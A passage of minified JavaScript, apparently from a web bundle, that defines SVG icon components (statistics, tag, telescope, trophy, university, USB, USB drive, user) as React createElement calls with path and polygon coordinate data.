h1667.134V476.753z"}),(0,o.createElement)("path",{d:"M511.707,1260.279H34.954c-17.389,0-31.484,14.1-31.484,31.484v476.753 c0,17.394,14.095,31.483,31.484,31.483h476.753c17.389,0,31.483-14.09,31.483-31.483v-476.753 C543.19,1274.379,529.096,1260.279,511.707,1260.279z M480.223,1737.033H66.438v-413.786h413.786V1737.033z"}),(0,o.createElement)("path",{d:"M1138.377,1260.279H661.624c-17.389,0-31.484,14.1-31.484,31.484v476.753 c0,17.394,14.095,31.483,31.484,31.483h476.753c17.389,0,31.483-14.09,31.483-31.483v-476.753 C1169.86,1274.379,1155.766,1260.279,1138.377,1260.279z M1106.893,1737.033H693.107v-413.786h413.785V1737.033z"}),(0,o.createElement)("path",{d:"M1765.051,1260.279h-476.753c-17.39,0-31.483,14.1-31.483,31.484v476.753 c0,17.394,14.094,31.483,31.483,31.483h476.753c17.389,0,31.484-14.09,31.484-31.483v-476.753 C1796.535,1274.379,1782.439,1260.279,1765.051,1260.279z M1733.567,1737.033h-413.786v-413.786h413.786V1737.033z"}),(0,o.createElement)("path",{d:"M900,593.693c-17.389,0-31.483,14.095-31.483,31.484v324.763H273.33c-17.389,0-31.483,14.1-31.483,31.484 v193.4c0,17.393,14.095,31.482,31.483,31.482c17.389,0,31.484-14.09,31.484-31.482v-161.917h563.703v161.917 c0,17.393,14.095,31.482,31.483,31.482s31.484-14.09,31.484-31.482v-161.917h563.706v161.917c0,17.393,14.095,31.482,31.483,31.482 s31.484-14.09,31.484-31.482v-193.4c0-17.385-14.096-31.484-31.484-31.484H931.484V625.177 C931.484,607.788,917.389,593.693,900,593.693z"})),statistics:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M152.728,528.008c-63.267,0-114.738-51.469-114.738-114.733c0-63.265,51.472-114.734,114.738-114.734 c63.262,0,114.729,51.469,114.729,114.734C267.457,476.539,215.99,528.008,152.728,528.008z M152.728,360.752 c-28.962,0-52.526,23.562-52.526,52.522s23.563,52.521,52.526,52.521c28.958,0,52.517-23.562,52.517-52.521 S181.686,360.752,152.728,360.752z"}),(0,o.createElement)("path",{d:"M1124.017,703.674c-63.267,0-114.738-51.465-114.738-114.725c0-63.267,51.472-114.738,114.738-114.738 c63.262,0,114.729,51.472,114.729,114.738C1238.745,652.209,1187.278,703.674,1124.017,703.674z M1124.017,536.423 c-28.963,0-52.526,23.563-52.526,52.526c0,28.956,23.563,52.513,52.526,52.513c28.957,0,52.517-23.558,52.517-52.513 C1176.533,559.986,1152.974,536.423,1124.017,536.423z"}),(0,o.createElement)("path",{d:"M638.373,391.099c-103.739,0-188.138-84.396-188.138-188.133S534.634,14.833,638.373,14.833 c103.733,0,188.125,84.396,188.125,188.133S742.106,391.099,638.373,391.099z M638.373,77.045 c-69.435,0-125.926,56.488-125.926,125.921c0,69.433,56.491,125.921,125.926,125.921c69.429,0,125.913-56.488,125.913-125.921 C764.286,133.533,707.802,77.045,638.373,77.045z"}),(0,o.createElement)("path",{d:"M1609.674,391.099c-103.737,0-188.137-84.396-188.137-188.133s84.399-188.133,188.137-188.133 c103.733,0,188.129,84.396,188.129,188.133S1713.407,391.099,1609.674,391.099z M1609.674,77.045 c-69.437,0-125.925,56.488-125.925,125.921c0,69.433,56.488,125.921,125.925,125.921c69.429,0,125.917-56.488,125.917-125.921 C1735.591,133.533,1679.103,77.045,1609.674,77.045z"}),(0,o.createElement)("rect",{x:"332.296",y:"178.864",transform:"matrix(0.4637 0.886 -0.886 0.4637 480.4105 -149.1437)",width:"62.214",height:"286.801"}),(0,o.createElement)("rect",{x:"721.561",y:"398.765",transform:"matrix(0.767 0.6417 -0.6417 0.767 488.2679 -484.7798)",width:"380.063",height:"62.211"}),(0,o.createElement)("polygon",{points:"1216.137,584.88 1176.993,536.524 1473.117,296.842 1512.26,345.197"}),(0,o.createElement)("path",{d:"M223.333,1785.167H82.119c-44.068,0-79.922-36.348-79.922-81.023V761.958 c0-44.678,35.854-81.024,79.922-81.024h141.214c44.068,0,79.921,36.346,79.921,81.024v942.185 C303.254,1748.819,267.401,1785.167,223.333,1785.167z M82.119,743.146c-9.767,0-17.71,8.438-17.71,18.812v942.185 c0,10.371,7.943,18.812,17.71,18.812h141.214c9.766,0,17.709-8.44,17.709-18.812V761.958c0-10.374-7.944-18.812-17.709-18.812 H82.119z"}),(0,o.createElement)("path",{d:"M708.974,1785.167H567.755c-44.066,0-79.917-38.839-79.917-86.578V651.512 c0-47.74,35.852-86.579,79.917-86.579h141.218c44.066,0,79.917,38.839,79.917,86.579v1047.077 C788.891,1746.328,753.04,1785.167,708.974,1785.167z M567.755,627.146c-9.597,0-17.706,11.159-17.706,24.367v1047.077 c0,13.209,8.108,24.366,17.706,24.366h141.218c9.597,0,17.705-11.157,17.705-24.366V651.512c0-13.208-8.108-24.367-17.705-24.367 H567.755z"}),(0,o.createElement)("path",{d:"M1194.621,1785.167h-141.21c-44.072,0-79.926-31.604-79.926-70.452V972.037 c0-38.848,35.854-70.453,79.926-70.453h141.21c44.072,0,79.926,31.605,79.926,70.453v742.678 C1274.547,1753.563,1238.693,1785.167,1194.621,1785.167z M1053.411,963.796c-11.43,0-17.714,6.188-17.714,8.241v742.678 c0,2.053,6.284,8.24,17.714,8.24h141.21c11.431,0,17.714-6.188,17.714-8.24V972.037c0-2.053-6.283-8.241-17.714-8.241H1053.411z"}),(0,o.createElement)("path",{d:"M1680.271,1785.167h-141.219c-44.067,0-79.917-38.839-79.917-86.578V651.512 c0-47.74,35.85-86.579,79.917-86.579h141.219c44.072,0,79.926,38.839,79.926,86.579v1047.077 C1760.196,1746.328,1724.343,1785.167,1680.271,1785.167z M1539.052,627.146c-9.599,0-17.705,11.159-17.705,24.367v1047.077 c0,13.209,8.106,24.366,17.705,24.366h141.219c9.604,0,17.714-11.157,17.714-24.366V651.512c0-13.208-8.11-24.367-17.714-24.367 H1539.052z"})),tag:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M709.54,1791.754c-8.041,0-16.079-3.068-22.216-9.2L17.443,1112.676 c-5.893-5.895-9.202-13.885-9.202-22.217s3.309-16.323,9.202-22.214l784.741-784.743c1.773-1.772,3.706-3.289,5.751-4.549 l261.497-261.504c7.938-7.94,19.514-11.034,30.349-8.133l527.374,141.313c10.844,2.903,19.313,11.372,22.219,22.213 l141.314,527.374c2.906,10.844-0.197,22.411-8.131,30.348l-261.53,261.529c-1.271,2.06-2.788,3.983-4.522,5.724l-784.748,784.736 C725.622,1788.686,717.579,1791.754,709.54,1791.754z M84.09,1090.459l625.45,625.445l757.407-757.398 c1.268-2.061,2.784-3.98,4.52-5.721l253.83-253.825l-131.928-492.333l-492.33-131.92L847.216,328.534 c-1.773,1.773-3.706,3.292-5.753,4.552L84.09,1090.459z"}),(0,o.createElement)("path",{d:"M792.92,1469.969c-8.041,0-16.082-3.068-22.216-9.2l-431.477-431.476c-12.27-12.273-12.27-32.164,0-44.437 c12.269-12.264,32.164-12.264,44.432,0l431.477,431.477c12.271,12.272,12.271,32.163,0,44.436 C809.001,1466.9,800.961,1469.969,792.92,1469.969z"}),(0,o.createElement)("path",{d:"M939.701,1323.197c-8.039,0-16.082-3.068-22.218-9.201L486.005,882.514 c-12.271-12.269-12.271-32.163,0-44.432c12.268-12.269,32.163-12.269,44.431,0l431.483,431.479 c12.269,12.273,12.269,32.163,0,44.436C955.782,1320.129,947.739,1323.197,939.701,1323.197z"}),(0,o.createElement)("path",{d:"M1086.482,1176.416c-8.039,0-16.082-3.068-22.214-9.201L632.781,735.737 c-12.271-12.268-12.271-32.161,0-44.431c12.269-12.269,32.163-12.269,44.432,0l431.482,431.474 c12.273,12.273,12.273,32.164,0.005,44.436C1102.563,1173.348,1094.521,1176.416,1086.482,1176.416z"}),(0,o.createElement)("path",{d:"M1243.656,776.548c-0.01,0-0.014,0-0.018,0c-58.822-0.004-114.115-22.908-155.697-64.493 c-41.586-41.586-64.492-96.882-64.492-155.698c0.004-58.814,22.906-114.109,64.492-155.698 c41.592-41.589,96.885-64.491,155.701-64.491c58.813,0,114.109,22.902,155.696,64.491c85.852,85.855,85.852,225.547,0.005,311.396 C1357.748,753.644,1302.459,776.548,1243.656,776.548z M1243.643,399.003c-42.034,0-81.548,16.367-111.266,46.086 c-29.721,29.72-46.092,69.235-46.092,111.267s16.371,81.548,46.088,111.267c29.717,29.717,69.23,46.086,111.27,46.088 c0,0,0.009,0,0.014,0c42.02,0.002,81.529-16.367,111.256-46.088c61.35-61.35,61.35-161.18-0.005-222.534 C1325.189,415.37,1285.672,399.003,1243.643,399.003z"})),telescope:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1052.813,485.532L609.43,348.438c-16.666-5.157-34.337,4.185-39.486,20.838 c-5.153,16.658,4.176,34.338,20.838,39.486l443.382,137.095c3.101,0.96,6.245,1.418,9.329,1.418 c13.486,0,25.969-8.704,30.152-22.256C1078.799,508.361,1069.47,490.682,1052.813,485.532z"}),(0,o.createElement)("path",{d:"M1776.781,656.89l-125.688-38.605c-8.016-2.458-16.648-1.634-24.058,2.286 c-7.399,3.92-12.932,10.619-15.39,18.622l-12.685,41.283L1491.73,647.72l14.939-49.04c5.082-16.671-4.308-34.307-20.975-39.398 l-236.936-72.379l8.219-26.951c5.074-16.671-4.308-34.307-20.983-39.398L378.425,158.56l2.409-7.904 c5.078-16.671-4.308-34.304-20.979-39.396L189.63,59.251c-8.003-2.444-16.658-1.612-24.062,2.326 c-7.391,3.936-12.919,10.65-15.363,18.664L2.293,565.571c-5.078,16.671,4.308,34.307,20.979,39.398l170.239,52.008 c3.017,0.921,6.123,1.379,9.223,1.379c5.127,0,10.227-1.251,14.839-3.704c7.395-3.938,12.918-10.65,15.363-18.662l2.396-7.866 l622.02,190.019c-23.154,21.181-37.707,51.621-37.707,85.404c0,44.838,25.644,83.77,63.02,102.999l-498.98,685.429 c-10.263,14.096-7.153,33.845,6.944,44.107c5.611,4.078,12.112,6.043,18.556,6.043c9.751,0,19.371-4.502,25.551-12.984 l469.098-644.389v625.802c0,17.441,14.131,31.571,31.573,31.571c17.433,0,31.563-14.13,31.563-31.571v-625.802l469.097,644.389 c6.185,8.482,15.795,12.984,25.556,12.984c6.439,0,12.939-1.965,18.551-6.043c14.095-10.263,17.205-30.012,6.941-44.107 l-498.977-685.429c37.376-19.229,63.02-58.161,63.02-102.999c0-9.364-1.146-18.464-3.251-27.194l44.943,13.733 c3.021,0.925,6.122,1.378,9.224,1.378c5.127,0,10.227-1.251,14.843-3.704c7.391-3.938,12.914-10.65,15.362-18.662l8.201-26.902 l236.893,72.361c3.021,0.925,6.123,1.379,9.223,1.379c5.127,0,10.228-1.251,14.844-3.704c7.391-3.938,12.914-10.65,15.363-18.662 l14.931-48.991l106.81,32.633l-13.963,45.441c-2.457,8.007-1.639,16.657,2.291,24.058c3.92,7.395,10.615,12.936,18.622,15.394 l125.687,38.601c3.084,0.951,6.202,1.401,9.276,1.401c13.505,0,25.995-8.729,30.171-22.313l87.06-283.452 C1802.803,679.67,1793.447,662.008,1776.781,656.89z M181.741,587.36L71.893,553.802l129.505-424.934l109.835,33.558 L181.741,587.36z M935.405,956.158c-29.017,0-52.618-23.6-52.618-52.611c0-29.013,23.602-52.616,52.618-52.616 c29.009,0,52.607,23.604,52.607,52.616C988.013,932.559,964.414,956.158,935.405,956.158z M272.061,573.323l106.294-348.767 l809.024,247.163l-106.29,348.749L272.061,573.323z M1365.603,844.94l-204.968-62.61l71.467-234.496l204.969,62.615l-24.207,79.426 l-32.33,106.069c-0.018,0.035-0.018,0.07-0.025,0.106L1365.603,844.94z M1473.318,708.119l105.479,32.219l-23.177,76.07 l-105.487-32.232L1473.318,708.119z M1659.533,931.074l-65.319-20.063l68.517-223.097l65.328,20.063L1659.533,931.074z"})),trophy:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1680.014,241.388c-5.876-5.976-13.907-9.342-22.291-9.342h-265.229v-45.949 c1.754-3.904,2.748-8.221,2.748-12.777s-0.994-8.873-2.748-12.777V39.669c0-17.271-13.998-31.269-31.269-31.269H435.739 c-17.271,0-31.269,13.998-31.269,31.269v192.377H142.277c-8.384,0-16.415,3.366-22.291,9.342 c-5.88,5.977-9.112,14.064-8.973,22.446c2.543,153.317,35.5,297.176,92.802,405.076c59.797,112.598,140.534,175.43,227.77,177.55 c51.846,154.953,178.085,274.968,335.409,319.092v235.304c-64.348,36.395-110.3,98.631-122.317,172.335H436.145 c-17.27,0-31.269,13.994-31.269,31.269v155.872c0,17.266,13.999,31.269,31.269,31.269h927.711c17.27,0,31.269-14.003,31.269-31.269 v-155.872c0-17.274-13.999-31.269-31.269-31.269h-208.533c-12.018-73.704-57.97-135.94-122.317-172.335v-234.902 c158.275-43.941,284.886-164.749,336.9-319.526c86.665-2.796,166.826-65.56,226.278-177.517 c57.303-107.9,90.26-251.759,92.803-405.076C1689.126,255.452,1685.894,247.364,1680.014,241.388z M404.876,780.025 c-53.494-13.72-104.375-62.389-145.83-140.445c-48.844-91.976-78.495-213.492-84.514-344.997h229.938v420.416 c0,1.625,0.166,3.209,0.405,4.768V780.025z M1332.587,1635.728v93.335H467.413v-93.335h205.479h454.215H1332.587z M1091.708,1573.19H708.292c18.728-83.109,97.165-144.329,191.708-144.329S1072.98,1490.081,1091.708,1573.19z M829.532,1375.485 v-196.677c23.286,3.368,47.082,5.112,71.266,5.112c23.648,0,46.899-1.71,69.669-4.929v196.493 c-22.392-5.934-46.009-9.161-70.468-9.161S851.924,1369.552,829.532,1375.485z M1332.587,707.252 c-9.506,229.967-199.529,414.132-431.789,414.132c-229.411,0-418.955-179.262-431.518-408.099c-0.17-3.104-0.863-6.049-1.867-8.838 V263.314c0-1.636-0.161-3.23-0.405-4.798V70.938h862.948v71.113H705.099c-17.27,0-31.269,13.999-31.269,31.269 c0,17.271,13.999,31.269,31.269,31.269h624.857v431.585c0,1.182,0.065,2.362,0.201,3.536c1.212,10.64,1.993,21.318,2.43,31.934 V707.252z M1540.954,639.58c-41.455,78.056-92.336,126.726-145.83,140.445v-71.698c0.244-6.354,0.405-12.729,0.405-19.142 c0-6.214-0.166-12.476-0.405-18.753v-375.85h230.344C1619.448,426.088,1589.798,547.604,1540.954,639.58z"}),(0,o.createElement)("path",{d:"M1123.914,493.53l-135.348-19.667l-60.525-122.645c-5.27-10.675-16.141-17.432-28.041-17.432 s-22.771,6.757-28.041,17.432l-60.526,122.645L676.086,493.53c-11.778,1.712-21.563,9.961-25.24,21.281 c-3.677,11.32-0.61,23.746,7.913,32.054l97.933,95.463l-23.12,134.8c-2.011,11.729,2.81,23.586,12.441,30.581 c9.623,6.991,22.392,7.924,32.926,2.38L900,746.447l121.062,63.643c4.571,2.405,9.566,3.592,14.543,3.592 c6.487,0,12.938-2.013,18.383-5.972c9.632-6.995,14.452-18.852,12.441-30.581l-23.12-134.8l97.933-95.463 c8.523-8.308,11.59-20.734,7.913-32.054C1145.477,503.491,1135.692,495.242,1123.914,493.53z M987.886,609.021 c-7.372,7.185-10.735,17.534-8.994,27.677l15.188,88.558l-79.532-41.81c-4.554-2.395-9.549-3.592-14.548-3.592 s-9.994,1.197-14.548,3.592l-79.533,41.81l15.189-88.558c1.741-10.143-1.622-20.492-8.995-27.677l-64.334-62.714l88.916-12.921 c10.186-1.481,18.988-7.876,23.543-17.106L900,435.711l39.762,80.568c4.555,9.23,13.357,15.625,23.543,17.106l88.916,12.921 L987.886,609.021z"})),university:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1764.199,1597.184h-323.761V853.397h154.119c17.438,0,31.572-14.134,31.572-31.572V712.784h141.549 c0.04,0,0.058,0,0.089,0c17.438,0,31.571-14.134,31.571-31.571c0-11.04-5.664-20.757-14.244-26.399L918.838,8.395 c-11.205-8.355-26.562-8.355-37.767,0L13.352,655.908C2.451,664.046-2.016,678.25,2.271,691.16 c4.285,12.91,16.362,21.624,29.964,21.624h141.549v109.042c0,17.438,14.135,31.572,31.572,31.572h154.115v743.786H35.719 c-17.438,0-31.572,14.13-31.572,31.572v137.545c0,17.434,14.134,31.572,31.572,31.572h1728.48 c17.438,0,31.572-14.139,31.572-31.572v-137.545C1795.771,1611.313,1781.637,1597.184,1764.199,1597.184z M899.953,73.094 l772.627,576.547H127.333L899.953,73.094z M1302.901,1596.117V867.153h74.394v728.964H1302.901z M1239.758,1597.184H1000.3 V853.397h239.458V1597.184z M862.753,867.153h74.403v728.964h-74.403V867.153z M236.927,715.852h1326.059v74.402H236.927V715.852z M497.016,867.153v728.964h-74.402V867.153H497.016z M560.16,853.397h239.449v743.786H560.16V853.397z M1732.628,1734.729H67.29 v-74.401h1665.338V1734.729z"}),(0,o.createElement)("path",{d:"M899.998,568.438c-83.726,0-151.843-68.116-151.843-151.845s68.117-151.845,151.843-151.845 c83.733,0,151.849,68.116,151.849,151.845S983.73,568.438,899.998,568.438z M899.998,327.893 c-48.908,0-88.699,39.791-88.699,88.701s39.791,88.701,88.699,88.701c48.915,0,88.706-39.791,88.706-88.701 S948.912,327.893,899.998,327.893z"})),usb:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1389.648,533.77h-210.622c-17.325,0-31.369,14.044-31.369,31.37v210.622 c0,17.325,14.044,31.37,31.369,31.37h73.015v150.124c0,1.183,0.078,2.459,0.209,3.638c0.084,0.703,7.558,70.689-28.16,110.688 c-17.31,19.387-42.328,28.806-76.489,28.806c-11.198,0-22.188-0.105-32.945-0.211c-80.702-0.787-156.951-1.514-209.037,48.604 V323.104l158.333,86.537c0.021,0.01,0.045,0.022,0.067,0.035l0.231,0.127c0.516,0.279,1.049,0.481,1.574,0.735 c0.635,0.302,1.257,0.63,1.904,0.889c0.941,0.372,1.891,0.661,2.845,0.936c0.297,0.083,0.581,0.206,0.88,0.28 c2.587,0.669,5.208,1.006,7.816,1.006c0.014,0,0.03,0,0.044,0c0.004,0,0.009,0,0.013,0c3.681,0,7.387-0.709,10.958-2.048 c0.358-0.136,0.735-0.228,1.093-0.376c0.277-0.114,0.534-0.281,0.812-0.402c1.023-0.46,2.043-0.946,3.015-1.519 c0.018-0.009,0.034-0.018,0.053-0.027c1.042-0.613,2.017-1.291,2.958-2c0.323-0.241,0.625-0.508,0.937-0.766 c0.7-0.573,1.375-1.168,2.017-1.79c0.284-0.28,0.565-0.551,0.837-0.84c0.857-0.901,1.673-1.829,2.407-2.814 c0.017-0.022,0.034-0.044,0.052-0.065c0.797-1.068,1.492-2.188,2.135-3.34c0.07-0.118,0.16-0.223,0.225-0.346 c0.126-0.228,0.219-0.463,0.337-0.696c0.267-0.521,0.525-1.042,0.762-1.576c0.2-0.459,0.394-0.918,0.573-1.382 c0.18-0.46,0.35-0.924,0.507-1.392c0.181-0.534,0.346-1.072,0.494-1.61c0.118-0.416,0.224-0.836,0.32-1.26 c0.136-0.574,0.259-1.152,0.359-1.729c0.074-0.42,0.136-0.84,0.192-1.265c0.074-0.564,0.139-1.134,0.184-1.698 c0.035-0.473,0.057-0.941,0.069-1.414c0.018-0.513,0.03-1.02,0.021-1.527c-0.008-0.542-0.039-1.084-0.073-1.627 c-0.031-0.438-0.066-0.875-0.114-1.309c-0.065-0.6-0.153-1.195-0.254-1.794c-0.065-0.386-0.135-0.771-0.214-1.156 c-0.126-0.604-0.277-1.204-0.438-1.803c-0.104-0.394-0.219-0.783-0.337-1.168c-0.175-0.556-0.367-1.107-0.573-1.654 c-0.165-0.446-0.345-0.888-0.534-1.326c-0.2-0.468-0.411-0.936-0.638-1.4c-0.25-0.512-0.518-1.016-0.798-1.514 c-0.127-0.232-0.231-0.473-0.366-0.705L901.254,19.416c-0.013-0.018-0.025-0.035-0.034-0.057c-1.059-1.78-2.293-3.475-3.711-5.037 c-2.144-2.372-4.608-4.354-7.278-5.929c-0.009-0.004-0.014-0.015-0.022-0.019c-0.1-0.057-0.206-0.1-0.306-0.161 c-0.774-0.442-1.562-0.867-2.368-1.243c-0.481-0.228-0.971-0.408-1.457-0.608c-0.438-0.175-0.872-0.373-1.317-0.53 c-0.644-0.228-1.295-0.411-1.948-0.6c-0.306-0.087-0.613-0.188-0.924-0.267c-0.687-0.176-1.377-0.302-2.069-0.43 c-0.306-0.057-0.608-0.122-0.91-0.17c-0.652-0.096-1.304-0.153-1.961-0.21c-0.367-0.035-0.735-0.075-1.111-0.097 c-0.569-0.026-1.138-0.021-1.708-0.018c-0.462,0-0.927-0.009-1.391,0.013c-0.477,0.026-0.954,0.08-1.427,0.123 c-0.551,0.053-1.103,0.101-1.654,0.18c-0.402,0.061-0.805,0.148-1.212,0.224c-0.595,0.114-1.19,0.223-1.781,0.372 c-0.407,0.101-0.801,0.232-1.204,0.346c-0.564,0.167-1.129,0.324-1.689,0.521c-0.521,0.184-1.024,0.407-1.532,0.617 c-0.42,0.175-0.844,0.333-1.256,0.525c-0.836,0.389-1.645,0.822-2.446,1.282c-0.083,0.048-0.166,0.083-0.249,0.131 c-0.009,0.004-0.013,0.009-0.018,0.015c-2.67,1.575-5.133,3.557-7.273,5.929c-1.418,1.562-2.661,3.257-3.72,5.042 c-0.009,0.022-0.022,0.04-0.035,0.057L642.195,366.311c-0.136,0.232-0.241,0.473-0.368,0.705c-0.28,0.498-0.547,1.002-0.796,1.514 c-0.228,0.464-0.438,0.932-0.64,1.4c-0.188,0.438-0.367,0.88-0.534,1.326c-0.206,0.547-0.398,1.099-0.573,1.654 c-0.119,0.386-0.232,0.774-0.337,1.168c-0.162,0.6-0.31,1.199-0.437,1.803c-0.079,0.385-0.149,0.774-0.214,1.16 c-0.102,0.595-0.188,1.19-0.254,1.785c-0.048,0.438-0.083,0.875-0.114,1.317c-0.035,0.543-0.065,1.081-0.075,1.624 c-0.009,0.508,0.005,1.015,0.022,1.527c0.014,0.473,0.035,0.941,0.07,1.414c0.044,0.564,0.11,1.133,0.184,1.698 c0.057,0.424,0.119,0.844,0.193,1.265c0.101,0.577,0.223,1.155,0.359,1.729c0.097,0.424,0.201,0.844,0.32,1.26 c0.148,0.538,0.315,1.076,0.495,1.61c0.157,0.468,0.328,0.932,0.507,1.392c0.179,0.463,0.372,0.923,0.573,1.382 c0.236,0.534,0.495,1.055,0.762,1.576c0.118,0.232,0.209,0.468,0.336,0.696c0.066,0.123,0.154,0.228,0.224,0.346 c0.644,1.147,1.34,2.272,2.132,3.335c0.026,0.035,0.057,0.066,0.079,0.096c0.731,0.972,1.531,1.896,2.381,2.783 c0.275,0.293,0.56,0.569,0.849,0.85c0.634,0.617,1.3,1.208,1.991,1.772c0.323,0.263,0.63,0.538,0.962,0.783 c0.937,0.709,1.912,1.382,2.949,1.995c0.018,0.009,0.031,0.018,0.048,0.027c0.972,0.569,1.991,1.054,3.015,1.519 c0.276,0.122,0.538,0.289,0.814,0.402c0.307,0.127,0.63,0.206,0.937,0.319c3.62,1.383,7.379,2.105,11.116,2.105c0,0,0.009,0,0.014,0 c0.013,0,0.03,0,0.043,0c2.604,0,5.229-0.337,7.812-1.006c0.315-0.079,0.613-0.206,0.923-0.293c0.941-0.275,1.877-0.555,2.806-0.923 c0.648-0.259,1.269-0.586,1.899-0.889c0.525-0.25,1.063-0.456,1.58-0.735l0.232-0.127c0.021-0.013,0.043-0.025,0.065-0.035 l158.334-86.537v909.841c-5.212-4.901-10.743-9.404-16.647-13.475c-48.773-33.641-113.368-33.615-181.427-33.589h-5.891 c-24.678,0-43.281-7.29-56.879-22.283c-29.588-32.639-30.55-96.035-28.433-117.639c0.109-1.064,0.167-2.137,0.167-3.21V885.151 c57.732-14.416,100.637-66.698,100.637-128.838c0-73.225-59.575-132.799-132.799-132.799c-73.224,0-132.798,59.575-132.798,132.799 c0,62.704,43.692,115.354,102.222,129.206v155.821c-1.217,14.548-6.74,107.597,44.323,164.174 c25.815,28.603,60.66,43.105,103.561,43.105h5.913c60.655-0.034,113.11-0.043,145.783,22.495 c22.091,15.237,51.456,49.521,51.456,170.867c0,2.417,0.298,4.752,0.814,7.013v36.479 c-71.505,14.574-125.477,77.941-125.477,153.688c0,86.483,70.362,156.846,156.846,156.846c86.485,0,156.847-70.362,156.847-156.846 c0-75.747-53.973-139.114-125.477-153.688v-119.191c0-86.992,13.938-143.084,42.62-171.48c33.522-33.195,91.893-32.613,165.8-31.895 c10.958,0.112,22.153,0.219,33.563,0.219c52.507,0,94.086-16.849,123.582-50.092c50.612-57.03,45.009-142.509,43.597-157.389 V807.131h74.869c17.326,0,31.37-14.044,31.37-31.37V565.14C1421.019,547.814,1406.975,533.77,1389.648,533.77z M451.546,756.313 c0-38.63,31.43-70.06,70.06-70.06c38.63,0,70.061,31.43,70.061,70.06c0,38.634-31.43,70.06-70.061,70.06 C482.977,826.374,451.546,794.947,451.546,756.313z M874.248,97.029l119.998,203.012l-104.952-57.36 c-0.097-0.052-0.197-0.092-0.298-0.141c-0.521-0.28-1.055-0.521-1.588-0.77c-0.429-0.197-0.853-0.411-1.291-0.586 c-0.407-0.171-0.832-0.307-1.248-0.456c-0.568-0.206-1.137-0.419-1.715-0.591c-0.245-0.074-0.499-0.127-0.749-0.193 c-0.744-0.201-1.488-0.397-2.236-0.542c-0.109-0.017-0.219-0.026-0.327-0.048c-0.884-0.161-1.773-0.296-2.657-0.38 c-0.14-0.009-0.28-0.009-0.415-0.018c-0.859-0.07-1.712-0.122-2.569-0.118c-0.381,0-0.766,0.039-1.146,0.052 c-0.613,0.022-1.226,0.035-1.829,0.092c-0.552,0.053-1.094,0.153-1.646,0.236c-0.446,0.066-0.897,0.114-1.339,0.202 c-0.529,0.105-1.049,0.25-1.579,0.381c-0.468,0.118-0.937,0.218-1.396,0.354c-0.434,0.131-0.857,0.298-1.287,0.447 c-0.56,0.192-1.119,0.38-1.671,0.608c-0.333,0.136-0.656,0.301-0.989,0.45c-0.634,0.285-1.265,0.578-1.882,0.91 c-0.074,0.04-0.158,0.07-0.232,0.11l-104.952,57.36L874.248,97.029z M968.356,1639.161c0,51.893-42.219,94.106-94.108,94.106 s-94.108-42.214-94.108-94.106c0-51.891,42.218-94.108,94.108-94.108S968.356,1587.271,968.356,1639.161z M1358.279,744.392 h-147.885V596.509h147.885V744.392z"})),usbDrive:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1563.436,1321.387c-17.391,0-31.487,14.098-31.487,31.488c0,27.012-15.801,74.633-50.5,115.373 c-26.98,31.68-73.952,69.445-144.492,69.445c-17.392,0-31.487,14.096-31.487,31.482c0,17.396,14.096,31.488,31.487,31.488 c169.369,0,257.968-161.313,257.968-247.789C1594.924,1335.484,1580.827,1321.387,1563.436,1321.387z"}),(0,o.createElement)("path",{d:"M1656.3,972.827L831.573,148.096c-5.909-5.906-13.917-9.223-22.267-9.223s-16.359,3.316-22.268,9.223 l-96.25,96.253L457.952,11.523c-12.292-12.3-32.23-12.295-44.53,0L11.634,413.309c-12.3,12.3-12.3,32.234-0.004,44.534 L244.466,690.68l-96.255,96.255c-12.296,12.295-12.296,32.23,0,44.53l824.723,824.725c91.26,91.247,212.603,141.5,341.676,141.51 c0,0,0.026,0,0.04,0c129.043,0,250.377-50.263,341.65-141.527C1844.689,1467.777,1844.689,1161.23,1656.3,972.827z M435.688,78.318 L645.48,288.097L288.214,645.368L78.427,435.576L435.688,78.318z M1611.77,1611.646c-79.382,79.369-184.889,123.086-297.12,123.077 c-0.005,0-0.026,0-0.026,0c-112.263-0.009-217.795-43.718-297.16-123.069L215.008,809.197l594.298-594.307l802.46,802.467 C1775.604,1181.204,1775.604,1447.803,1611.77,1611.646z"}),(0,o.createElement)("path",{d:"M332.216,511.8c8.056,0,16.117-3.075,22.267-9.225c12.295-12.295,12.295-32.23-0.004-44.53l-75.952-75.947 c-12.291-12.291-32.229-12.295-44.53,0.004c-12.295,12.295-12.295,32.23,0.004,44.53l75.952,75.947 C316.099,508.725,324.16,511.8,332.216,511.8z"}),(0,o.createElement)("path",{d:"M458.153,354.371c6.15,6.146,14.211,9.221,22.268,9.221c8.056,0,16.117-3.075,22.267-9.221 c12.295-12.3,12.295-32.234,0-44.534l-75.943-75.943c-12.3-12.291-32.234-12.291-44.534,0c-12.296,12.3-12.296,32.234,0,44.534 L458.153,354.371z"})),user:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M899.996,13.388c-488.883,0-886.611,397.732-886.611,886.615c0,297.415,147.216,561.092,372.596,722.011 c14.883,10.622,30.131,20.758,45.673,30.469c101.1,63.151,215.747,106.507,338.525,124.601 c42.384,6.248,85.723,9.529,129.816,9.529c44.084,0,87.423-3.281,129.808-9.529c122.778-18.094,237.434-61.449,338.525-124.592 c15.542-9.711,30.799-19.855,45.682-30.478c225.389-160.919,372.604-424.596,372.604-722.011 C1786.615,411.12,1388.879,13.388,899.996,13.388z M899.996,1724.407c-163.127,0-315.337-47.626-443.461-129.704 c58.621-107.8,176.409-191.24,323.694-221.345v22.277l119.594,66.448l119.932-66.431v-22.295 c147.285,30.104,265.074,113.545,323.694,221.345C1215.324,1676.781,1063.118,1724.407,899.996,1724.407z M554.979,912.854 